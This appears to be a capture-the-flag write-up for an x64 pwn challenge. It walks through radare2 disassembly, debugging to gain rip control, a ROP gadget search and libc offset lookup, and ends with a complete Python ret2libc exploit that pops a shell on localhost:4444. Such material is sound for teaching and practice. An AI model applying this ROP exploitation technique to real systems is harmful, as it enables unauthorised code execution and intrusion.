A simple x64 pwning on which me and jinblack spent way too much time to get a shell.
The main thing to remember here is that on the x64, functions parameter are passed by register, and not on the stack.
$ r2 -A ./exp200
-- PEBCAK ERROR: Documentation not found.
[0x004004d0]> pdf @ main
╒ (fcn) sym.main 117
│ ; var int local_0_1 @ rbp-0x1
│ ; var int local_1 @ rbp-0x8
│ ; DATA XREF from 0x004004ed (sym.main)
│ ;-- main:
│ 0x004005bd 55 push rbp
│ 0x004005be 4889e5 mov rbp, rsp
│ 0x004005c1 4883ec10 sub rsp, 0x10
│ 0x004005c5 41b900000000 mov r9d, 0
│ 0x004005cb 41b8ffffffff mov r8d, 0xffffffff
│ 0x004005d1 b922000000 mov ecx, 0x22
│ 0x004005d6 ba07000000 mov edx, 7
│ 0x004005db be00020000 mov esi, 0x200
│ 0x004005e0 bf00000010 mov edi, 0x10000000
│ 0x004005e5 e896feffff call sym.imp.mmap
│ 0x004005ea 488945f8 mov qword [rbp-local_1], rax
│ 0x004005ee 488d45f8 lea rax, [rbp-local_1]
│ 0x004005f2 ba00020000 mov edx, 0x200
│ 0x004005f7 4889c6 mov rsi, rax
│ 0x004005fa bf00000000 mov edi, 0
│ 0x004005ff b800000000 mov eax, 0
│ 0x00400604 e887feffff call sym.imp.read
│ 0x00400609 ba01000000 mov edx, 1
│ 0x0040060e be00020000 mov esi, 0x200
│ 0x00400613 bf00000010 mov edi, 0x10000000
│ 0x00400618 e8a3feffff call sym.imp.mprotect
│ 0x0040061d 488b45f8 mov rax, qword [rbp-local_1]
│ 0x00400621 4889c2 mov rdx, rax
│ 0x00400624 b800000000 mov eax, 0
│ 0x00400629 ffd2 call rdx
│ 0x0040062b b800000000 mov eax, 0
│ 0x00400630 c9 leave
╘ 0x00400631 c3 ret
[0x004004d0]>
It seems that the program will mmap an 0x200 bytes area,
store our input on it, mark it as read-only, and calls it.
Lets see what we can control.
$ r2 -d -b 32 ./exp200
Process with PID 25142 started...
Attached debugger to pid = 25142, tid = 25142
Debugging pid = 25142, tid = 25142 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 25142, tid = 25142
-- Run your own r2 scripts in awk using the r2awk program.
[0xf7dd9cd0]> dc
AAAAAAAABBBBBBBB
[+] SIGNAL 11 errno=0 addr=(nil) code=128 ret=0
Debugging pid = 25142, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x00400629]> pd 4 @ eip
;-- eip:
0x00400629 ffd2 call edx
0x0040062b b800000000 mov eax, 0
0x00400630 c9 leave
0x00400631 c3 ret
[0x00400629]> dr edx
0x41414141
As suspected, we control rip, time to see what is on the stack:
[0x00400629]> pxQ 64 @ rsp
0x7fffffffdf30 0x00007fffffffe020 r13
0x7fffffffdf38 0x4141414141414141 rdx
0x7fffffffdf40 0x4141414141414141 rdx
0x7fffffffdf48 0x4141414141414141 rdx
0x7fffffffdf50 0x00007f0a41414141
0x7fffffffdf58 0x00007fffffffe028 r13+8
0x7fffffffdf60 0x0000000100000000 r8+1
0x7fffffffdf68 0x00000000004005bd main
The trick here is to keep in mind that the call instruction
will push its return address on the stack, so we'll have to call
a pop;pop;ret gadget to remove r13 from the stack.
But since the return address of the function will be our gadget, we'll need to push two garbage value before our real ropchain.
It was specified on the website that the challenge had ASLR
disabled, and we have a copy of the lib thanks to the previous pwning
challenge, so we won't need a leak to return to system.
Unfortunately, we won't be able to call the
magic-one-shot-gimme-system-plz (slide 34)
make html
gadget, since rax is in our case equal to zero, and this will lead to a NULL-deref.
But because we control the stack, all we have to do is to put /bin/sh into
rdi, and return to system.
Time to get gadgets:
[0x004004d0]> e rop.len = 3 # we don't care about longer gadgets
[0x004004d0]> /Rl pop
0x00400513: ja 0x400517; pop rbp; ret;
0x00400521: pop rbp; mov edi, 0x601050; jmp rax;
0x00400550: jne 0x400554; pop rbp; ret;
0x00400582: pop rbp; mov byte [rip + 0x200ac6], 1; ret;
0x004005ad: call rax; pop rbp; jmp 0x400530;
0x004006a0: pop r14; pop r15; ret;
0x004006a1: pop rsi; pop r15; ret;
0x004006a3: pop rdi; ret;
[0x00020b60]> e search.maxhits = 1 # we'll take the first occurence
[0x00020b60]> / /bin/sh\x00
Searching 8 bytes from 0x00000270 to 0x005c0630: 2f 62 69 6e 2f 73 68 00
# 7 [0x270-0x5c0630]
hits: 1
0x0018c3dd hit3_0 "/bin/sh\\u0000"
[0x00020b60]>
No ASLR, so we can pick fixed locations.
$ r2 /lib/x86_64-linux-gnu/libc.so.6
-- This is amazing...
[0x00020b60]> is~name=system
vaddr=0x000443d0 paddr=0x000443d0 ord=1339 fwd=NONE sz=45 bind=UNKNOWN type=FUNC name=system
[0x00020b60]>
Getting libc base address:
$ r2 -d ./exp200
Process with PID 28618 started...
Attached debugger to pid = 28618, tid = 28618
Debugging pid = 28618, tid = 28618 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 28618, tid = 28618
-- EIP = 0x41414141
[0x7ffff7dd9cd0]> dcp # Continue until program code (mapped io section)
90004 4004d0dd9d14
[0x004004d0]> dm~libc
sys 1.8M 0x00007ffff7a0f000 - 0x00007ffff7bcf000 s -r-x /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys 2M 0x00007ffff7bcf000 - 0x00007ffff7dcf000 s ---- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys 16K 0x00007ffff7dcf000 - 0x00007ffff7dd3000 s -r-- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys 8K 0x00007ffff7dd3000 - 0x00007ffff7dd5000 s -rw- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
[0x004004d0]>
Here is the final exploit:
import struct
import socket
def rop(*args):
return struct.pack('<Q'*len(args), *args)
popret = 0x0000004006a3
pop2ret = 0x0000004006a1
base = 0x7ffff7a0f000
binsh = base + 0x0018c3dd
system = base + 0x000443d0
s = socket.create_connection(('localhost', 4444))
s.send(
rop(pop2ret) +
'A'*8 +
'A'*8 +
rop(popret) +
rop(binsh) +
rop(system) +
'\n'
)
while True:
s.send(raw_input('> ') + '\n')
print s.recv(1024)